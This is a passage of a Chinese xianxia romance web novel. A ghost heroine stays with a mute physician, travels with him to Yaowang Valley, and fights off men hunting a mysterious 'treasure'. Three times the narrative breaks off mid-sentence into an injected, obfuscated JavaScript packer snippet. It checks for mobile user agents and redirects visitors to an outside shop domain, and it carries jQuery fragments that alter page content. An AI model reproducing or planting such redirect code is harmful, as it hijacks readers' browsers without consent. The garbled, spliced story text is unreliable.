云挽灵、褚昀和瘦竹竿面面相觑,知道这人嘴里恐怕挖不出线索,于是松了绑,威胁了几句勿要乱言、勿再惹事,便让他从哪里来赶紧滚回那里去了。 瘦竹竿经此一遭,反手摸了摸生疼的后背,也惴惴不安地抬脚离开,云挽灵叫住他道:“今日之事诡异,既然张全已经没事,就不要乱说是什么‘阴蚀疫’,以免弄得人心惶惶,但也最好提醒一下大伙,近日都注意下身体有无特殊症状。” 云挽灵其实是怕以讹传讹、三人成虎,自己来路不明,难保不会首当其冲。 瘦竹竿闻言,看向一旁的褚昀,得了褚昀点头,这才应了“好”。临走前,褚昀递给他一只小瓷瓶,并指了指他的后背,云挽灵见状,了然意思,连忙双手合十,歉疚地解释道:“竹竿兄,哦不是,兄......兄台!这应该是外敷化淤的药膏,我刚才不是给了你一石子吗?实在抱歉!愿你早日恢复!你慢走,我送送你、送送你。” 褚昀的视线追随着一路歉声连连将人送远的云挽灵,流连不过片刻,唇角竟微微漾开。 冯婆婆走到褚昀身侧,仍是不安地问:“医仙,这到底怎么回事呀?到底是不是阴蚀疫啊?”她的儿子六年前就死于这种从扶安城扩散而来的怪疾,她至今回想起儿子六亲不认发疯咬人,最后落得浑身肌肤溃烂的惨状都痛心至极,亦是后怕不迭。 褚昀神情温和地摇头,冯婆婆悬吊的心终于咽回肚里。 褚昀本也忌惮是阴蚀疫卷土重来,因为诸如意识涣散、瞳仁变灰、身起肿核的症状都极像阴蚀疫发病初期,但所幸出现在张全身上的只是表象,而且他已然恢复如初,脉象也变回正常平稳,与其说他是染了疫,不若说这是场...... 昙花一现的灵异之事。 看着终于安心的冯婆婆,褚昀选择将疑信参半的猜测暂压心底。 褚昀并非笃信怪力乱神之人,但他从前跟着自己师傅清翛散人四处行医时,也闻见过不少常识难解的奇人异事。 师傅曾告诉他:世间之大,天上地下,无奇不有,且见且敬。 不远处,云挽灵送完人,朝这边轻快地走来,她脚步翩翩,身披落日绯红,笑意明艳。褚昀驻足不动,待她靠近自己,听她絮道:“竹竿兄真是宽宏大量,说不会记这一石之仇的。” 夕光映照,褚昀的眸色亮如剔透的红玉,而云挽灵成了玉上精雕细琢、栩栩如生的花纹。 云挽灵觉得这样的眼神似曾相识。 刹那间,记忆如石坠湖,激起千层浪。 她浑觉再受不住这般凝视,可又仿佛真被刻入玉中,手脚失灵、动弹不得。 “天要黑了,医仙、姑娘,快进屋里来吧。”冯婆婆唤道。 云挽灵听之如蒙大赦,她道“来啦!”,从褚昀身侧擦肩,逃也似地跑到冯婆婆之前,顺道还拾起地上散落的衣物。 直到落荒逃入屋内,她才得以狼狈地大口喘息,忍不住小心翼翼地触碰方才涌入脑海的旖旎记忆: 月挂柳梢,灯暖帐香。 褚昀散去清冷,眸色剔透如浸润入水的玉,正深深浅浅、细致入微地雕刻着身下之人的一情一态。 他俯身凑近,声色微哑。 一道极轻却极温柔的“挽灵”将身下之人在兵荒马乱的情欲之中唤得一点灵明。 也顺道唤醒了今时今日的云挽灵。 “......” 云挽灵感觉那热气至今喷薄在耳侧,烧得她要融化成水。 原来白无常说自己始乱终弃,这个“乱”还有“香艳”二字贴切形容。 “......” 云挽灵心里狂奔过一万匹名为“罪过”的马。 屋外暮色四合,直到最后一缕夕光落山,褚昀才从原地动身,慢吞吞走近屋内。 5. 今犹恐相逢在梦中 褚昀一脚踏进门,便与嘴里喊着要去烧菜的云挽灵撞了个正着,云挽灵脚底抹油般迅速转身,仓皇改口道:“婆婆!我突然想起来,自己不会烧菜哈哈......” “欸?小妹,你这字好像写错了一个......” “姐姐给你纠正一下哈......”云挽灵一屁股坐在小妹身边,提笔作势,旁光却觑向门口的褚昀,心里始终别扭。 冯婆婆笑道:“本来姑娘就是客人,哪有让客人动手的道理。折腾了一下午,大家也该饿了,还是我去烧菜做饭吧。” 小妹咬着笔头道:“婆婆,我想吃医仙哥哥烧的菜。” “你这丫头!”冯婆婆走到了门边,道,“哪有事事都辛苦医仙的道理。” 褚昀收回迈进屋里的一脚,拦下冯婆婆,向她指了指自己,示意“我去吧”。 他的视线落在云挽灵身上,见她迟迟没有落笔,纸上已经洇出一团比屋外夜色还要浓深的墨团,于是无声地轻轻一叹,自去灶房做饭了。 云挽灵心尖生出一丝异样的酸,她也不想表现得如此见外,好像自己对褚昀唯恐避之不及。 可是她身不由己! 一想到那段香艳记忆,她就羞得要将自己天灵盖都冲开,看见一脸清白无辜的褚昀,更是尴尬到无地自容。她是真想掀开过去,好好看看自己与褚昀之间到底怎么回事。 褚昀做饭很快,手艺也好,不一会儿桌上已端正地摆上四碟色香味俱全的小菜,是应季的紫茄、红苋、绿荠和白藕,还贴心盛好了四碗满满当当的米饭。香气飘溢,馋得屋外路过的大黄狗都吠叫不停。 云挽灵将方才的尴尬抛诸九霄云外,眼里只剩下对饭菜的渴望。 冥间的鬼魂们根本不吃东西。因此云挽灵在冥间的两年里从来没嗅到过饭菜的香气,她就连孟婆汤都喝不上一口! 但如今重返阳世,有了肉身与五感,种种欲望都鲜活起来,譬如此时胃口大开的食欲。 云挽灵饕餮一般大快朵颐,豪放的吃势将冯婆婆和小妹都吓了一跳,忙不迭将菜碟往她面前送,云挽灵唯独对那本是同根生的白藕下不去口,其他来者不拒。 褚昀来来回回去灶房给她盛饭,最后将自己没动几筷子的米饭也推了过去,云挽灵吃得专心致志,完全没有注意,自然也错过了褚昀看见她饿死鬼一般的吃相时,眉关紧锁。末了,褚昀又去灶房下了碗青菜鸡蛋面,才终于喂饱云挽灵。 云挽灵吃饱喝足,摸着自己圆滚滚的肚腩,心满意足地想:活着真好,能吃是福。 褚昀主动承担了洗碗的活计,小妹在桌上练字,云挽灵则坐在床边看冯婆婆缝衣服,她手中是一件宽大厚实的半成冬衣。 “婆婆,现在天这样热,为什么这么早开始做冬天的衣服呢?”云挽灵问。 冯婆婆眉眼慈祥,解释道:“朗儿现在跟着商队送货,之前说冬天会回来陪我们过年,我就先给他做一件冬衣备着,他什么时候回来什么时候就可以穿。姑娘觉得好看吗?” 云挽灵想起今日发生的怪事,嘴唇翕动,只点了点头,没有作声回复,而是换了一个问题:“婆婆,今日你们口中所说的阴蚀疫是个什么病啊?” 闻言,冯婆婆拿着绣针的手一抖,差点刺到自己,她像是回忆起平生最痛苦的过去,挣扎过后才磕磕绊绊道:“这是扶安城里传染来的怪病,这病凶得很,好长一段时间内无药可医,连官府都束手无策,所以一旦染上这病,没几个能活命。” “六年前,朗儿和小妹的爹就是进城卖菜时给人传染上的,后来被这病整得不成人样,身上全是大大小小的肿块,而且逢人就咬,我没有办法,就和朗儿一起把他绑在树下,最后......他全身的肿块都溃烂了,流出带血的脓水......诶,他死的时候朗儿才十岁,小妹还在她娘腹中,她娘太伤心,就早产了,后来自己也随朗儿他爹一块去了。” “当年,村里染病的不只朗儿他爹,家家户户都遭了罪。要不是官府来人救病及时,恐怕整个仙湖村都要遭殃。也不知当年是谁想到了医治这个病的法子,真真是功德无量,这样的好人,死后一定会成神仙!”冯婆婆边说边虔诚地举头拜了拜。 仙湖村地处扶安城南郊,村民经常出入城中,将自家种的农菜或打猎来的野货卖给城里人,而当年正是扶安城南疫灾最深重。此疫有蛰伏期,又有官府隐瞒消息,因此早期仍有许多村民照常去城里做买卖,结果不知不觉中就染了疫,又不知不觉地将疫带进了村里。 时至今日,村中人谈及“阴蚀疫”皆惶然色变,不忍回顾。 云挽灵听完冯婆婆一席话,不由揣测起今日上身张全的那只鬼魂目的何在,若他真是阿朗,他到底怎么死的?又想要通过“阴蚀疫”告诉褚昀什么呢? 云挽灵一番思索,不得答案,索性作罢,她心道:少管闲事,早点投胎才是正事。 谈话间,褚昀也回了屋子,云挽灵已经平复心境,不再见他就躲,甚至还朝褚昀盈盈一笑,聊表友好,褚昀未曾料及,目色淡定自若,耳尖却悄然变红了。 “医仙,今日已晚,夜里上山不方便也不安全。要不,今夜就留宿家中?”冯婆婆道。 以往褚昀下山行医都会在入夜前返回山中,冯婆婆根本留人不住,但今日特殊,一场风波将大家弄得身心不宁,褚昀眉上也染了疲态,冯婆婆见之不忍,还是试探着一问。 褚昀看向等待自己回答的云挽灵,此时吃饱喝足的云挽灵恰好打了个呵欠。 于是他点点头。 云挽灵对褚昀的决定很满意,她本想着若是褚昀执意要上山,自己也必须跟去,但她早已疲惫不堪,压根不想折腾。 “好好!屋里有两张床,医仙可以睡朗儿那张,被褥什么的我都拾掇得干干净净,就是要委屈姑娘和我与小妹挤上一挤了。” “没问题!我还要感谢婆婆收留呢,”云挽灵说罢往床上一栽,喟叹道,“好舒服呀!” 她游荡冥间时,根本没有睡和醒的概念,鬼魂们若是要休息,大多也是直立着,有时候连眼睛都不闭,哪有这样干燥柔软的大床可以躺、可以翻来滚去,云挽灵心头又忍不住飘过一句:活着真好。 褚昀走到床边,云挽灵瞬间警惕,从床上弹射起来,只见他伸出白皙匀称的手指指了指自己,又指向身后一间摆放了床的里屋。 云挽灵惊道:“恩人的意思是?” “要我和你睡?” “这不好吧。”她脑海里不合时宜地又出现那该死的记忆,以及一句该死的、温柔如水的“挽灵”,双颊不自然地泛起窘红,她欲盖弥彰地捧脸掩了掩。 褚昀微微愕然。 “姑娘,我觉得医仙的意思是,要你一个人去睡朗儿那张床。” 褚昀点头。 “可是这样,恩人睡哪里?” 褚昀摇头,意思或许是“不必担心我”。 云挽灵绞了绞衣袖,有点艰难地开口道:“其实,与恩人同床挤一挤,也并非不可。” 冯婆婆见褚昀竟然没有立即摇头拒绝,便善解人意道:“也不是不可,我再为姑娘抬一床被子就行,朗儿的床还是比较宽敞的,睡得下。” 云挽灵欢欢喜喜接过冯婆婆递来的被子,先一步奔向里屋,占了个舒服的靠墙位置。 等待片刻,褚昀才缓步进来,手里拿着几张裁剪利落的纸条,他落坐床沿,云挽灵懒懒地趴在床头,仰头看他,鼻尖闻到他身上飘来的清冽香气,还有似有若无的草药味,莫名感到一阵熟悉的心安,她软声问道:“怎么了?” 褚昀递来一张纸条,依旧是清瘦工整的笔迹,但收笔处却不见云淡风轻的从容,笔画间藕断丝连,透露出执笔者的克制、犹豫、紧张和难抑的期待,虽然上面只有简单两个字。 纸上写着:挽灵 像一声轻唤。 云挽灵心跳戛然而止,简直要幽魂离体,她屏息良久,镇定道:“这是我的名字吗?恩人从前可认得我?” “可惜,我自己什么也记不得了。” 褚昀凝视着云挽灵的神情,不知有无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420667|200832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窥出破绽,他睫帘垂落,彷佛对答案早有预料。 下一张纸条便没再深究云挽灵身份,而是问:明日我要去一趟药王谷,可愿同行? 褚昀直觉“张全”故意展现出阴蚀疫的症状是一种提醒——万一阴蚀疫卷土重来呢? 他清楚地记得,当年师傅清翛散人云游归来后听闻疫情消息,带着自己从药王谷一刻不敢停地赶往扶安城救疫。抵达时,目之所及是城外尸山燃烧的滔天火光,耳畔凄风长啸,哀嚎遍野。 阴蚀疫将这座大魏朝最繁华的中枢城市彻底变为了无间地狱。 为此,清翛散人闭门七日研制解药,最终帮助官府将根源不详的阴蚀疫治服。 但此疫过后,清翛散人并没有告知任何人救疫的药方是什么,只神神叨叨地说“天机不可泄露”,甚至他的徒弟褚昀也不知道。官府坐收渔利,只称解药是内部研制,收拢了一波民心。 再后来,清翛散人以云游为由,拖着瘦骨嶙峋的身体与褚昀在药王谷作别,他骑着毛驴晃晃悠悠离去,歌声回荡在药王谷,消逝于六年前的风中。 此次重回药王谷,褚昀是决心要寻找师傅当年的救疫方法,哪怕只翻出零星半点记载,他也不至于像现在一样无从下手。 一旦研制出解药,便可防患于未然,不会让当年的灾祸重演。 但这一去恐消数日,褚昀无法将失忆的云挽灵单独留在这里,无论她如今是人,还是鬼。 此刻云挽灵眸光闪闪,她道:“当然。恩人,我说过,我想跟在你身边,报答你的救命之恩。你去哪里,我就去哪里。”烛火摇曳,衬得她的面容半明半暗,轮廓却显得异常柔和。 褚昀得了肯定的回答,便将最后一张纸条递到云挽灵眼前。 云挽灵仍紧绷心弦,不知褚昀还要问什么。 所幸纸上只有两个字。 晚安。 云挽灵不动声色地长舒一口气,她回道一声“晚安”,便将自己埋入被中,只露出两只水灵灵的眼睛,见褚昀起身欲走,她的声音闷在被中,问:“恩人不一起睡吗?” 褚昀脚步一顿,昏暗中玉面浮红,他背着身轻轻摇头,走出了里屋。 云挽灵也不强求,她困意昏昏,迷迷糊糊就睡了过去。 可到了半夜,一片寂静中,云挽灵毫无征兆地醒来了,床边依旧空空荡荡,她伸手一摸,冰冰冷冷连余温都没有,显然褚昀压根没回来睡。 云挽灵有些不安,她起身蹑手蹑脚走到堂屋,床上冯婆婆和小妹睡得香甜,云挽灵在黑暗中扫视一圈,没有看见褚昀,心中不安更甚,一股怅然若失的感觉彻底攫住她。 这种感觉如此强烈而熟悉,以至于云挽灵不禁怀疑,她曾经毫无防备地失去过褚昀一次。 褚昀,不告而别地离开了吗? 云挽灵什么也顾不上,连鞋也没穿就冲出屋外,打开门的瞬间,料峭的冷风将她吹得浑身一抖,而院中的人影更是让她心尖一颤。 褚昀已经换回一身飘逸白衣,他墨发半挽,手中握着一支修长的树枝,正以枝为剑在树下舞剑,他的姿态优雅,招招行云流水,气势凛然,将夜风与月光划破得稀落。树影摇动,他恰时收剑,温柔地伸手接住一片飘零的落叶,也在此刻看见了站在门口的云挽灵。 眸光一动。 云挽灵褪去了白日里的生气,她赤着脚走近,如一缕清辉流淌到褚昀身边,不由分说地环住褚昀的腰身,将自己埋入他的怀抱,褚昀身形一僵,那片落叶从指尖滑落,手中的“剑”也簌簌落地。 他的双手在空中迟疑,待云挽灵主动加深力道,将自己往他怀中送得更深,褚昀才认命般轻叹一声,抱住了怀中之人。这一抱,他惊觉,怀中人竟冷得似冰,轻得如雾,仿佛一旦松手,就会化风而去,消失不见。 云挽灵庆幸地道:“还好你没走。” 褚昀收紧了双臂,任由云挽灵埋首在他颈间。 曾经种种,尽可付诸流水,他不回望、不细数、不在意了。 只要云挽灵在这。 6. 药王谷惊心动魄夜 翌日清早,褚昀照例为冯婆婆留下一袋钱,然后带着云挽灵到仙湖村每家每户拜访了一遭,确认没有任何人出现阴蚀疫的初兆,才安心启程前往药王谷。 仙湖村在浮云山山脚,药王谷则在浮云山往西,从仙湖村出发,大约步行一日可到。 一路上,云挽灵像只叽叽喳喳的雀鸟,绕在褚昀身边飞来飞去,絮絮叨叨、东拉西扯,一会儿夸赞褚昀的厨艺,一会儿点评沿途风光,连偶遇个路人都会不厌其烦地搭上几句闲话,譬如问问人家吃饭没、说说今日天气真好。 褚昀虽口不能言,但无论云挽灵是自言自语还是同谁说话,他都侧耳倾听,态度相比初见的冷淡客气,不知好了多少。 云挽灵内心颇为得意,想着接下来只要待在褚昀身边,尽心竭力为他多多做事当作弥补,定能换他冰释前嫌。 她胸有成竹,相信无需几日,自己便可以向褚昀挑明鬼身和来意,恳请他为自己超度幽魂了。 云挽灵心情大好,随手在地上折了根狗尾巴草衔在嘴边。 褚昀回身确认她是否跟在后面,见她一根狗尾巴草叼到了天上,神思游离也不知道在想些什么,便驻足原地等她。 云挽灵有恃无恐地信步缓缓,好不容易磨磨蹭蹭地走到褚昀身边,又不安分,不经一问便牵起褚昀的手,十指紧紧交扣。 褚昀面上闪过茫然,他别过脸去,下意识想要抽手,云挽灵无辜地眨了眨眼,十分自如地拉着他并肩而行。 云挽灵又想:反正褚昀如今是掌中之物,超度之事不急也可,自己还想在阳间多晃悠些时日吃喝玩乐呢。 两人就这样从清晨走到日中,初秋的午阳依旧毒辣,热气蒸腾,又晒又闷,连草丛中的蟋蟀声都恹恹蔫蔫。 云挽灵本就是鬼,受不住热也禁不住晒,此刻她感觉自己变成了天地火炉中的一道清蒸白莲藕。 她走不动也不想走了。 恰巧此时有个老人赶着牛车路过,云挽灵如见救命英雄,一番交谈过后,褚昀给老人付了钱,两人舒舒服服地坐上了铺着厚厚稻草的牛车,以车代步自然轻松,云挽灵重焕生机,又开始生龙活虎地拉着褚昀谈天说地。 滔滔不绝、口若悬河地说了一阵,云挽灵渐渐又觉得没趣。 这老人勤勤恳恳赶车不搭话,老牛辛辛苦苦拖车听不懂,褚昀安安静静养神不知听没听,合着就她自己在啰嗦。 她忍不住小声嘀咕一句:“要是你能说话就好了。” 但话一出口,云挽灵便如咬了舌头般吃痛噤声,在心里狠狠给自己掌嘴。 自己凭什么抱怨。褚昀为什么成了哑巴,自己不是心知肚明吗? 云挽灵心虚地瞟向褚昀,见褚昀在闭目养神,她默默祈祷着自己的声音足够小或者风声足够大,能将那句话彻底吞没,一个字也别落到褚昀耳中。 正当氛围陷入诡异的宁静时,云挽灵的肚子不争气地鸣叫几声,抗议自己半日没进食了。 褚昀缓缓睁眼,他从怀中取出一只余温尚存的油纸包,甫一打开,肉香四溢,云挽灵馋虫大动,凑眼去瞧,只见里面卧着一个个浑圆饱满、油光诱人的小肉包,不知是褚昀什么时候做的。 云挽灵抛去一个象征性的问询目光,得了褚昀颔首,她便不客气地一手一个,大饱口福起来。 牛车将两人送到了药王谷入口处,药王谷长而狭深,谷坡陡峭,不宜行车,况且老人也不顺路,于是两人只得再次步行。 褚昀生于斯地长于斯地,对地势了如指掌,一路走得如履平地,即便是第一次造访此地的云挽灵也感到很轻松,还有闲情逸致采摘两个鲜丽的野浆果品鉴一二。 两人一直往药王谷深处行进,约莫半个时辰后,两边高大的谷坡外退几里,狭仄的谷底豁然开朗,出现一片世外桃源般的临水平地,平地之上坐落着一间古朴木屋,屋顶落叶久积弥厚,显然已经多年无人打扫了。 云挽灵猜测这应该就是褚昀的目的地,但不知为何,他迟迟没有动身去开门。 山风将褚昀的白衣吹得猎猎作响,面对物是人非的故地,褚昀脑海里浮现出师傅清翛散人骑着一头毛驴仰天长歌而去的情景,彼时十六岁的自己就伫立在这座木屋前目送他,望着师傅的背影,他预感到这个将自己捡回药王谷养大,传授自己医术和武功的人,从此再也不会回来...... 褚昀本是孤儿,据师傅清翛所言,他是在一棵落英缤纷的桃花树下捡到了尚在襁褓的自己,见之可怜,弃之可惜,于是带在身边,没想到这一养就养了十六年。 十六年里,师傅是褚昀唯一的亲人,而药王谷的这座木屋就是他的家。 在师傅一去不返的三年里,褚昀独自在药王谷生活,每日只有四件要紧事,分别是吃饭、习医、练功和睡觉。 他本以为自己将会平平淡淡地在这座木屋中孤独终老,直到浮云寺的一个老僧人下山化缘时路过此地,褚昀听从老僧的指点,决心出山入世、悬壶济人。 同年,他于扶安城中遇见了云挽灵。 褚昀思绪收回,看向身边的云挽灵,而云挽灵的目光早就在等待着他。 薄暮日昏,云挽灵的目光亮如萤火,赪玉般的面容温润而柔和,山风将她的发丝送到褚昀手心,她的声音拂过耳畔:“怎么了?” 褚昀轻轻摇头。 云挽灵牵起他的手,道:“那我们进去吧?风吹得我有点冷。” 褚昀这次没有抽手,而是捏了捏云挽灵的手心,他的意思是“好”。 推开木屋门,褚昀点亮烛灯,室内霎时明朗,一切干净整洁,看得出之前住在这里的人生活规律有序,但却是少了些烟火气。 褚昀将一张竹椅擦拭干净,先让云挽灵坐下,自己开始在橱柜箱箧间翻找起来,云挽灵吃饱了没什么事干,自己坐不住,也起身摸摸这儿碰碰那儿,还眼尖发现床下静静躺着一只颇为精致的雕花木箱,她好奇心大作,背身问:“恩人,你床下这只箱子里是什么呀?我能看看吗?” “你不说话,我就当你答应了哦。” 说话间,云挽灵已经将那只箱子抬了出来,褚昀见状慌忙上前想要阻止,可惜迟了一步,箱子没挂锁,就这么毫无防备地被云挽灵打开。木箱打开的瞬间,灰尘四扬,将云挽灵呛得直咳嗽,她将灰尘挥散,箱中蒙尘已久的东西也终于重见天日。 “......” “......” 云挽灵不可置信地从箱中提起一块娇小可爱的红色布料,面上五光十色,双手来回捯饬几次才认出来这究竟是个什么。 一件婴儿红肚兜。 上面还绣着长命富贵花牡丹。 “哈哈哈哈哈哈哈哈哈哈哈哈哈!” 云挽灵笑得腹筋抽痛,差点倒地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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褚昀点头,他将木箱重新合上,端了方烛台,示意云挽灵跟上他。 两人行过一片密林,来到一方天然湖泊前,湖水平静,仰天而望,在皎洁的月色下流转莹光,倒映着草木疏影。果然是个隐秘阒寂、洗乏净身的好地方。 烛火在敞明的月色下显得微小,却将褚昀的轮廓摩挲得漂亮,云挽灵看着他这张俊美的脸,语气总不自觉柔和下来,她道:“恩人,你且先回去吧,我记得路,等会自己能走回去。” 褚昀将烛台留下,来时路上高木繁茂、遮天蔽日,得有个光照亮脚底的路 一见褚昀的身影消失在夜幕下,云挽灵便迫不及待地脱了衣服跃入湖中,湖水冰凉,激得她一个战栗,却也舒散了一身的燥意,她像条鱼儿似地灵活游动、上下翻腾,自娱自乐地将浑身力气都折腾了个干净,这才靠着湖边的青青草地歇停下来。 云挽灵将双臂搭在岸上,随手捡了两片飞落的树叶覆盖眼皮,她一动不动,任由细碎纷乱的记忆如湖面涟漪一般,一圈圈荡漾开,可当她想要抓住某段记忆时,却如水中捞月。 夜晚的药王谷是遗世之地,万籁俱寂。 倏地,云挽灵耳尖一动,从浅眠中骤醒,两片落叶飘然入水,露出一双逐渐清明的眼睛。 她听到一声鹿鸣在空荡的山谷回响,又被猝然掐灭。此时,褚昀留下的烛台已经熄了。 云挽灵迅速出水,拧干披散的墨发,干脆利落地将一套浅青色箭袖交领襦裙换上,并将腰带系紧。 看来,药王谷深处,还有其他人造访。 7. 药王谷惊心动魄夜2 云挽灵感官敏锐,有着天生的警觉,她并未着急动身,而是驻足凝神细听,但幽深的药王谷没再传来任何异响,也可能是她的动作打草惊蛇,对方正蛰伏暗处,暂未轻举妄动。 她不知对方是敌是友,但对方将惊起的鹿鸣生生掐断,想必是不愿暴露行踪的,即使无冤无仇,但凡撞见了不该看的,难保不会被斩草除根。 此地不宜久留。 因为没了烛火照路,月光也被高低交错的树影遮挡得斑驳陆离,云挽灵几乎是摸黑前进,这林中路蜿蜒复杂,又处处相似,绕得云挽灵晕头转向,走了几刻钟还是没见到木屋的隐亮,倒是抬头远眺可见一面刀削斧凿般的陡峭山壁,山壁高指云端,在夜幕下极具威严与压迫,仿佛顷刻倾覆就将震荡大地。 她心渐不宁,疑心自己是否饶了一圈走上了反向道。 云挽灵暗自懊恼,真不该叫褚昀先她回去的,早知该让他等等自己,都怪自己非说认路,还美美睡了一觉,将烛火都睡得烧干了,现在只能盲人摸路,硬着头皮继续走。 云挽灵心声方止,耳中便爬进一阵枯叶被踩踏的窸窣声,声音由远及近、此起彼伏,时而散开,时而集中,显然来者不止一人,而且听着像在搜寻什么。 云挽灵放轻手脚,直觉不可冒进,万一当头撞上对方,又或被察觉要逃,恐怕陷落险境。 她环视一周,见不远处有一座小土坡,便悄无声息地藏在土坡下一片正正好向内凹陷的地方,借着顶上几丛灌木遮掩,云挽灵收束手脚,藏得仔细。 顶上压来一片脚步声。 脚步声在周围徘徊几遭,犹如鹰隼在空中盘旋寻找猎物,云挽灵悄悄抬首,依稀可见灯火游移,将漆黑如墨的夜色照亮了几许。 少顷,传来一道压低的男声:“大哥,兄弟几个从崖壁一路找下来,还是没有发现那宝贝的影子。何况距离中元极阴日都过去小半月,若是献祭成功了,这宝贝按道理早该出现了......咱们虽说亲眼看见那小子坠崖,但尸身没在崖底找到,万一是那小子命大,侥幸活了,也不无可能啊。” 空气寂了寂,云挽灵听见自己细微的呼吸声,她的心脏开始砰砰直跳。 “再找。将药王谷翻过来找。年年都能办妥的事,怎地偏偏今年出了岔子?”一道沉哑的男声带着怒意。 这声音如一根银针将云挽灵穿心而过,她秀眉微蹙,觉得这声线属于一个熟人。 “大哥,也许有人捷足先登,已经截走了那宝贝呢?”第三人试探着提出猜测。 那位大哥显然不屑这套说辞,冷哼道:“这种宝贝,世上有几个人晓得?若是人人都晓得,宝贝还能叫作‘宝贝’吗?废话少说,赶紧给我再找!” 方才第一个说话的男人面色不虞,他们本是被安排到此人手下做事,听他号令却并非拿他的酬银,个个忠心的都是更上头的主子,只是赏脸才唤此人一声“大哥”,还真给他蹬鼻子上脸了。 几人从早忙活到晚上,都累得不轻,于是此刻也不装了,说话夹枪带棒:“大哥要是真上心,半个月前就该将宝贝双手奉上了,又怎么会让主子冒着得罪外商的风险,给您亲自擦屁股呢?现在又揪着哥几个不放,怎么,想亡羊补牢以表忠心?那就少耍威风多使劲。” 云挽灵听着对话云里雾里,她维持身形不动,手脚已是又麻又僵,心里期望要么这几个人打上一架后作鸟兽散,要么滚别处去找那劳什子宝贝,总之别在自己头上逞口舌之快。 头顶剑拔弩张的气氛被第四道人声打破:“哎呀,大家都是为主子做事,来药王谷一趟不容易,再找找吧,彼此别伤了和气。” 云挽灵分辨出那大哥的声音,听见他冷哼一声拂袖而去,其他几人不情不愿地跟在身后。 她稍松懈,正准备活动一下四肢,又听那和稀泥的人道:“我放个水,你们先走。” 头上再次传来一阵脚步声,那人挤身进入灌木丛中,脚底与云挽灵仅隔一层土,他一只手提着灯,另一只手因为着急怎么也解不开裤腰带。 “操!”那人咒骂一声,向下的余光却极是敏锐,他憋住尿意,提灯往前探了探,只见这土坡下面一小片青色衣摆如隐匿暗处的青蛇,受惊似地动了动,不知想要装死还是逃窜。 顶上灯火更亮,而眼前那片吵闹的阴影忽然静默不动,云挽灵察觉出不对劲。 黑夜又寂,风声可闻。 云挽灵冷静地在暗中摸索,直到指尖擦过传来尖锐刺痛——她如愿找到块边缘锋利的石头。 她迅速用石头割下一片衣摆充作面纱,从土坡下翻身而出,与坡上提灯之人四目相对时,那人一双鼠目里杀意乍泄,他咬牙嚷道:“快来!这里有人偷听!” 另外三人闻声疾驰而来,云挽灵哪里会等,旋身奔向林中。林中无平地,月色不照人,她身姿矫捷,在高木灌丛中见缝插针,试图借地势崎岖和林木掩映阻慢后面穷追不舍的人。 但那四人平素配合有道,目光交接的瞬间,一人足尖点地,凌空上树,在高低错落的枝干间穿梭飞走,三两下便抄到了云挽灵身前将她截住,另两人如左右开弓,直接弯道夹击,堵住了两侧的退路,身后那人也紧紧咬了上来,四人将云挽灵围如困兽,只待瓮中捉鳖。 “原来是个姑娘。呵,身手不错。说吧,为何藏在坡下偷听?”截断前路的人冷声道,正是云挽灵听声辨认出的熟人,但此人精明,唯他黑巾覆面,云挽灵见不到真颜,一时想不起来他到底是谁。 “小女子无心躲藏,只是在林中迷路,不巧撞上了四位好汉,见诸位好汉生得魁梧威煞,心底发怵,这才躲了起来。”云挽灵话上周旋,目光一一扫过几人的面相与身形,伺机突破包围。 “若是心中无鬼,为何逃跑?莫非,就是你抢了我们苦寻的宝贝?”左边人发难道。 苍天可鉴,云挽灵真是冤枉,她压根不晓得他们口中的“宝贝”是个什么玩意儿。 “你从何而来,为什么独自在药王谷迷路?可有同党?”右边人紧随其后问道。 后面那憋了一路尿意,脸色青紫的人也恶声道:“这人不知何时藏在坡下,就算无辜,听了我们这么多话,万一泄露出去怎么办?依我看,还是死人的嘴巴最硬,别人撬不出东西。” 云挽灵的面纱下飘出一声轻笑,无端瘆得几人脊背生寒。 “你笑什么?” “此女断不可留。” “杀了她!” 四人出手的犹疑间,云挽灵迅如飞鸿,她夺身向前,手腕发力,那锐石顿时生锋,如刀一般割破了叫嚣着要她性命的粗壮喉咙,男人喉间一凉,捂住血流不止的脖颈,难以置信地看向云挽灵手中带血的石头,再也说不出一个字。 云挽灵绕到他身后,攥紧他一只肩膀,拖着他后退了几步,她美目斜睨,擒着男人低声道:“我本是死人。” 那人吓得失了呼吸,不敢想这话是真是假。 她这一击发生在风驰电掣间,剩下三人反应过来时,皆怒上心头,杀意汹涌。 云挽灵并无惧意,她将石锋用力抵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420669|200832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那人双手捂住的伤口上方,威胁道:“不想他死,就给我滚,滚得越远越好。待我安全,自然会放了他。” 其实,若与他们交手,云挽灵要了四人性命也不成问题,但她不想再染血腥。 虽然从几人对话的字里行间能听出他们并非善类,恐怕背负着不少冤魂,但一码归一码,伤一人算是威慑对面以求自保,连杀四人的话,自己恐怕当晚就会被遣返冥府。 “不怕死的话,也大可上来。”云挽灵凛声道,说罢,漫不经心地瞟了一眼面纱上溅落的血迹,啧了一声,觉得真是麻烦。 三人握紧长刀,警惕地与云挽灵保持距离。 为首那人道:“你究竟是谁?为何插手此事?” 